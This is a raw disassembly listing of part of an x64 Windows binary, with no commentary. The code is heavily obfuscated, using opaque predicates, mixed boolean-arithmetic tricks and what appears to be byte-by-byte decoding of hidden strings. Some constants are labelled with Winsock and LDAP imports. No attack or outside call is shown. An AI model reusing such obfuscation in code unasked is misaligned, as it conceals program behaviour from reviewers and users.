jb 0x1400d7e8d
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400d7e74
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400d8071
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400d8028
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400d7ff3
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400d7fcf
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400d7cc0
lea r8, [r9 + 0x3e8]
lea r9, [r8 + 1]
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400d7fab
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400d7f92
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400d7f76
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400d7f58
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400d7f41
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400d7f24
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400d7f02
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400d7edb
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400d7ec4
lea rax, [r9 + 3]
cmp r8, rax
ja 0x1400d7cc0
lea r8, [r9 + 0x20]
lea r9, [r8 + 0x400]
jmp 0x1400d7cc0
lea ecx, [rdi - 0x60]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x60
jmp 0x1400d7cb2
lea ecx, [rdi - 0x20]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x20
jmp 0x1400d7c45
lea edx, [rdi + 0x20]
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400d7bd6
movzx ecx, dil
and cl, bl
add cl, cl
movzx r10d, dil
sub r10b, cl
add r10b, bl
jmp 0x1400d844f
lea edx, [rdi + 0x40]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
inc r9
dec rdi
inc rdi
jmp 0x1400d7bc4
lea ecx, [rdi + 0x80]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x80
dec rdi
inc rdi
jmp 0x1400d7bc4
lea ecx, [rdi - 0x40]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x40
movzx r11d, dil
jmp 0x1400d84b9
movzx ecx, dil
and cl, bl
add cl, cl
movzx r10d, dil
sub r10b, cl
add r10b, bl
jmp 0x1400d84f0
lea edx, [rdi + 0x40]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400d84f3
lea ecx, [rdi + 0x80]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x80
jmp 0x1400d83de
lea ecx, [rdi - 0x40]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x40
jmp 0x1400d8526
movzx eax, bl
and al, dil
add al, al
sub bl, al
lea r10d, [rdi + rbx]
movzx eax, byte [rbp + rdi + 0x90]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400d7bc4
lea ecx, [rdi - 0x60]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x60
mov byte [rbp + rdi + 0x90], r10b
inc rdi
jmp 0x1400d7bc4
lea ecx, [rdi - 0x20]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x20
cmp r9, 0xa
jb 0x1400d7fe3
lea ecx, [rdi + 0x40]
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, bl
lea r10d, [rcx*2 + 0x80]
jmp 0x1400d844f
lea edx, [rdi + 0x20]
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
cmp r8, 0x80
jae 0x1400d83ae
lea rax, [r9 + 0x5a]
cmp r8, rax
jbe 0x1400d830d
lea ecx, [rdi - 0x40]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x40
jmp 0x1400d8007
lea edx, [rdi + 0x60]
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
lea rax, [r8 + r9]
cmp rax, 0x41
je 0x1400d83ce
lea rax, [r9 + 6]
cmp r8, rax
jbe 0x1400d8272
lea edx, [rdi + 0x60]
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
jmp 0x1400d8035
lea edx, [rdi + 0x40]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
movzx eax, byte [rbp + rdi + 0x90]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400d7bc4
lea ecx, [rdi + 0x80]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x80
jmp 0x1400d8526
lea ecx, [rdi - 0x40]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x40
jmp 0x1400d83de
movzx ecx, dil
and cl, bl
add cl, cl
movzx r10d, dil
sub r10b, cl
add r10b, bl
jmp 0x1400d84f3
lea edx, [rdi + 0x40]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400d84f0
lea ecx, [rdi - 0x40]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x40
dec rdi
inc rdi
jmp 0x1400d7bc4
movzx eax, bl
and al, dil
add al, al
sub bl, al
lea r10d, [rdi + rbx]
inc r9
dec rdi
inc rdi
jmp 0x1400d7bc4
lea edx, [rdi + 0x40]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400d844f
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x1400d81c8
lea ecx, [rdi - 0x20]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x20
jmp 0x1400d808a
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d81fb
lea ecx, [rdi - 0x40]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x40
movzx eax, byte [rbp + rdi + 0x90]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400d7bc4
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d8222
lea edx, [rdi + 0x40]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400d83de
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d824c
movzx r11d, dil
lea ecx, [r11 + 0x80]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x80
jmp 0x1400d84b9
lea rax, [r9 + 9]
cmp r8, rax
jne 0x1400d808a
lea ecx, [rdi - 0x40]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x40
jmp 0x1400d844f
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d8299
lea edx, [rdi + 0x20]
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400d844f
inc rax
cmp r8, rax
jne 0x1400d82c0
lea ecx, [rdi - 0x60]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x60
dec rdi
inc rdi
jmp 0x1400d7bc4
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d82e7
lea edx, [rdi + 0x20]
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400d84f0
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400d8041
lea ecx, [rdi - 0x60]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x60
jmp 0x1400d83de
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d8343
lea ecx, [rdi + 0x80]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x80
movzx eax, byte [rbp + rdi + 0x90]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400d7bc4
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d8360
movzx ecx, dil
and cl, bl
add cl, cl
movzx r10d, dil
sub r10b, cl
add r10b, bl
jmp 0x1400d83de
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d8385
lea ecx, [rdi + 0x80]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x80
jmp 0x1400d84f0
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400d8007
lea ecx, [rdi + 0x80]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x80
jmp 0x1400d844f
movzx r11d, dil
movzx eax, dil
and al, bl
add al, al
movzx r10d, byte [rbp + rdi + 0x90]
sub r10b, al
add r10b, dil
jmp 0x1400d84b6
lea ecx, [rdi - 0x40]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rcx - 0x40]
lea ecx, [rdi - 0x60]
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x60
add cl, bl
movzx eax, cl
mov byte [rbp + rdi + 0x90], al
inc r9
add rax, r9
sub rdi, rax
jmp 0x1400d8526
lea edx, [rdi + 0x20]
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
movzx eax, byte [rbp + rdi + 0x90]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400d7bc4
lea edx, [rdi + 0x20]
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
lea edx, [rdi + 0x20]
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add cl, dl
add cl, bl
mov byte [rbp + rdi + 0x90], cl
inc r9
dec rdi
inc rdi
jmp 0x1400d7bc4
lea ecx, [rdi - 0x20]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x20
inc r9
dec rdi
inc rdi
jmp 0x1400d7bc4
movzx r11d, dil
lea edx, [r11 + 0x60]
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
sub r11b, 0x20
movzx eax, r11b
and al, bl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x20
add cl, r11b
add cl, bl
mov byte [rbp + rdi + 0x90], cl
jmp 0x1400d84f0
lea ecx, [rdi - 0x60]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x60
add r8, r9
movzx eax, r10b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400d7bc4
lea rcx, [rdi + r15]
movzx ebx, dl
and dl, cl
mov eax, Ordinal_50
sub al, dl
lea r10d, [rax + rax]
add r10b, cl
add r10b, bl
lea ecx, [rdi + 0x80]
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, 0x80
add cl, bl
mov byte [rbp + rdi + 0x90], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x90]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400d7bc4
lea rcx, [rdi + r14]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 0x60
movzx eax, byte [rbp + rdi + 0x90]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400d7bc4
add dil, 0x60
movzx eax, dil
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
add r10b, bl
jmp 0x1400d7bc0
sub dil, 0x60
movzx eax, dil
and al, bl
add al, al
sub dil, al
lea r10d, [rbx + rdi]
sub r10b, 0x60
jmp 0x1400d7bb0
mov esi, dword [rbp + 0x1434f10]
jmp 0x1400d85e4
mov esi, dword [rbp + 0x17059f0]
jmp 0x1400d85e4
mov esi, dword [rbp + 0x90]
lea rcx, [rbp + 0x70]
call fcn.140024a10
mov r14, rax
mov byte [rbp + 0xb0], 0x57
mov byte [rbp + 0xb1], WSAGetLastError
mov byte [rbp + 0xb2], 0x9f
mov byte [rbp + 0xb3], 0x65
mov byte [rbp + 0xb4], 0xfa
xor eax, eax
mov qword [rbp + 0xb5], rax
mov dword [rbp + 0xbd], eax
mov word [rbp + 0xc1], ax
movabs r15, 0x312070f06822515f
movabs r12, 0xba23f873a934dc57
movabs r13, 0x936152d13866f41d
movzx r10d, byte [rbp + 0x3c0]
nop
mov r8, qword [0x1402e0428]
mov r9, qword [0x1402e0430]
nop
xor ebx, ebx
cmp rbx, 0x13
jae 0x1400d903d
movzx r11d, byte [rbp + rbx + 0xb0]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x1400d9034
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x1400d86ac
lea rcx, [rbx + r15]
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
add r10b, 0x67
jmp 0x1400d86e6
je 0x1400d8fcc
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d8f40
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400d8f12
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d8edb
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400d8ebb
cmp r9, rbx
ja 0x1400d902b
lea rax, [r9 + 0x3e8]
cmp r8, rax
jae 0x1400d8712
lea ecx, [rbx - 0x35]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x73
jmp 0x1400d8750
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400d8e7e
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d8e67
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400d8e4a
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d8e30
nop word [rax + rax]
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x1400d8b22
nop dword [rax]
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400d8b03
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400d8adb
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400d8abb
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400d8aa1
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400d8a7f
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400d8a60
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400d8760
lea r8, [r9 + 0x41]
lea r9, [r8 + 0x2a]
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400d9011
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400d8ff7
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400d88e0
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400d88c6
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1400d88ac
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400d89f9
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400d89d4
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400d8760
lea r8, [r9 + 1]
lea r9, [r8 + 3]
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400d89a4
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400d898a
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400d8970
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1400d8956
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400d8934
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400d8914
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400d88fa
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400d8760
lea r8, [r9 + 4]
lea r9, [r8 + 6]
jmp 0x1400d8760
lea ecx, [rbx - 0x6b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x13
jmp 0x1400d8750
lea ecx, [rbx - 0x29]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x1f
jmp 0x1400d86e6
lea ecx, [rbx + 0x19]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x51
jmp 0x1400d8675
lea ecx, [rbx + 0x58]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x68
jmp 0x1400d8e93
lea ecx, [rbx - 0x24]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 4
dec rbx
inc rbx
jmp 0x1400d8662
lea edx, [rbx + 0x60]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
add r8, r9
jmp 0x1400d8f27
lea ecx, [rbx - 0x5e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6e
jmp 0x1400d8f27
lea ecx, [rbx - 0x1c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3c
jmp 0x1400d8f62
lea ecx, [rbx + 0x26]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xa
jmp 0x1400d8f88
lea edx, [rbx + 0x68]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0xb0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400d8662
lea ecx, [rbx - 0x73]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x25
mov byte [rbp + rbx + 0xb0], r10b
inc rbx
jmp 0x1400d8662
lea ecx, [rbx + 0x11]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x77
cmp r8, 0x61
jae 0x1400d8de9
lea rax, [r9 + 0x41]
cmp r8, rax
jbe 0x1400d8cea
lea ecx, [rbx + 0x6e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 2
cmp r9, 0x5a
jb 0x1400d89e9
lea ecx, [rbx - 0x26]
movzx eax, cl
and al, r11b
mov edx, 5
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
lea r10d, [rdx + rdx]
jmp 0x1400d8e93
lea edx, [rbx + 0x46]
movzx eax, dl
and al, r11b
mov ecx, ntohl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400d8f62
lea edx, [rbx - 0x36]
movzx eax, dl
and al, r11b
mov ecx, 0x3d
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
add r8, r9
jmp 0x1400d8f27
lea ecx, [rbx + 0xc]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x54
jmp 0x1400d8ef0
lea ecx, [rbx + 0x4e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x22
dec rbx
inc rbx
jmp 0x1400d8662
lea edx, [rbx - 0x70]
movzx eax, dl
and al, r11b
mov ecx, 8
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x1400d8662
lea edx, [rbx - 0x2e]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400d8e93
lea rax, [r9 + 0x400]
cmp r8, rax
jae 0x1400d8b7d
lea ecx, [rbx + 0x5f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x67
lea rax, [r8 + r9]
cmp rax, 0x3e8
je 0x1400d8e0f
lea rax, [r9 + 0x1000]
cmp r8, rax
jbe 0x1400d8c74
lea ecx, [rbx - 0x5d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x75
jmp 0x1400d8a0e
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400d8bb1
lea ecx, [rbx - 0x6a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1a
movzx eax, byte [rbp + rbx + 0xb0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400d8662
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400d8bd4
lea ecx, [rbx + 0x12]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7e
jmp 0x1400d8f62
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400d8bfc
lea edx, [rbx - 0x30]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400d8f27
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d8c1f
lea ecx, [rbx + 0x4c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x14
jmp 0x1400d8ef0
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400d8c48
lea ecx, [rbx + 0xa]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x46
dec rbx
inc rbx
jmp 0x1400d8662
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400d8b43
lea edx, [rbx - 0x7a]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400d8e93
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d8c97
lea ecx, [rbx + 0x61]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x59
jmp 0x1400d8e93
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d8cc0
lea ecx, [rbx - 0x23]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xb
dec rbx
inc rbx
jmp 0x1400d8662
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d8a0e
lea ecx, [rbx + 0x59]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6f
add r8, r9
jmp 0x1400d8f27
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d8d1e
lea ecx, [rbx + 0x2c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x34
movzx eax, byte [rbp + rbx + 0xb0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400d8662
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400d8d46
lea edx, [rbx - 0x58]
movzx eax, dl
and al, r11b
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400d8f62
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d8d71
lea edx, [rbx + 0x24]
movzx eax, dl
and al, r11b
mov ecx, 2
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
add r8, r9
jmp 0x1400d8f27
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d8d94
lea ecx, [rbx - 0x1e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2e
jmp 0x1400d8ef0
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400d8dbd
lea ecx, [rbx - 0x60]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x60
dec rbx
inc rbx
jmp 0x1400d8662
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400d8a3a
lea edx, [rbx + 0x1c]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400d8e93
lea edx, [rbx - 0x68]
movzx eax, dl
and al, r11b
add al, al
movzx r10d, byte [rbp + rbx + 0xb0]
sub r10b, al
sub r10b, 0x28
add r10b, dl
add r10b, r11b
jmp 0x1400d8ef0
lea ecx, [rbx + 0x56]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, byte [rbp + rbx + 0xb0]
lea r10d, [r11 + rcx]
sub r10b, 0x5a
jmp 0x1400d8f62
lea ecx, [rbx + 0x3f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x47
jmp 0x1400d8f27
lea ecx, [rbx - 0x7f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x79
add r8, r9
jmp 0x1400d8f27
lea ecx, [rbx - 0x3d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x55
jmp 0x1400d8ef0
lea ecx, [rbx - 0x77]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x41
lea ecx, [rbx + 0x39]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x71
add cl, r11b
mov byte [rbp + rbx + 0xb0], cl
inc r9
dec rbx
inc rbx
jmp 0x1400d8662
lea ecx, [rbx - 0x6f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 9
dec rbx
inc rbx
jmp 0x1400d8662
lea ecx, [rbx - 0x2d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x3b
lea ecx, [rbx - 9]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x3f
add cl, r11b
add cl, r10b
mov byte [rbp + rbx + 0xb0], cl
add r8, r9
jmp 0x1400d8f27
lea rcx, [rbx + r12]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x61
movzx eax, r10b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400d8662
movabs rcx, 0x57e31692d8f03999
add rcx, rbx
movzx r11d, dl
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2f
lea ecx, [rbx - 0x4b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0xd
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0xb0], al
inc r9
add rax, r9
sub rbx, rax
lea edx, [rbx + 0x14]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_60
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
mov byte [rbp + rbx + 0xb0], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0xb0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400d8662
lea rcx, [rbx + r13]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
add r10b, 0x35
movzx eax, byte [rbp + rbx + 0xb0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400d8662
add bl, 0x5b
movzx eax, bl
and al, r11b
add al, al
sub bl, al
lea r10d, [r11 + rbx]
sub r10b, 0x7d
jmp 0x1400d8660
sub bl, 0x63
movzx eax, bl
and al, r11b
add al, al
sub bl, al
lea r10d, [r11 + rbx]
sub r10b, 0x4b
jmp 0x1400d8650
lea rax, [rbp + 0x14eac84]
jmp 0x1400d9044
lea rax, [rbp + 0x170fde3]
jmp 0x1400d9044
lea rax, [rbp + 0xb0]
mov qword [rsp + 0x38], rax
xor r8d, r8d
lea rdx, [rsp + 0x38]
lea rcx, [rbp + 0xd0]
call fcn.1400e9110
nop
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0xf0]
call fcn.140024210
lea rcx, [rbp + 0xf0]
call fcn.140024a10
mov dword [rsp + 0x28], esi
xor ebx, ebx
